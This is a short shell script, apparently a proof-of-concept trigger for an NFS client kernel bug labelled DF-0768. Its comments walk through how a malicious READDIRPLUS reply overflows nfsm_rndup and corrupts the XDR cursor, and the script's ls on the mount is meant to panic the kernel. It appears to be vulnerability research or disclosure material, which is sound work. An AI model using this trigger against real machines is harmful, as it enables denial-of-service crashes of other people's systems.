#!/bin/sh
# trigger.sh -- DF-0768 unprivileged trigger.
#
# Pre-condition (set up by root, like "an admin mounted an NFS share with
# rdirplus"): the malicious NFS server is running on 127.0.0.1 and is mounted
# at $MNT with -o rdirplus (so the client uses READDIRPLUS, proc 17).
#
# This script runs *as the unprivileged user* (maxx).  It issues a single
# getdents (ls) on the mount point, which walks:
#   nfs_readdir -> nfs_bioread -> nfs_doio -> nfs_readdirplusrpc_uio
# and the malicious READDIRPLUS reply drives i = 0x7FFFFFFD, so
# nfsm_rndup(i) overflows to INT_MIN and nfsm_adv corrupts the XDR cursor
# (dpos) into a wild kernel pointer; the next nfsm_dissect derefs it ->
# panic (page-fault/GPF).
#
# Usage:   ./trigger.sh [mountpoint]
set -u
MNT="${1:-/mnt}"
echo "[*] DF-0768 trigger: running as $(id) on $MNT"
echo "[*] issuing: ls -f $MNT  (drives NFS READDIRPLUS getdents)"
ls -f "$MNT" 2>&1 || echo "[*] ls returned rc=$? (kernel may have panicked before returning)"
echo "[!] trigger returned without panic -- bug did NOT fire (or kernel is patched)"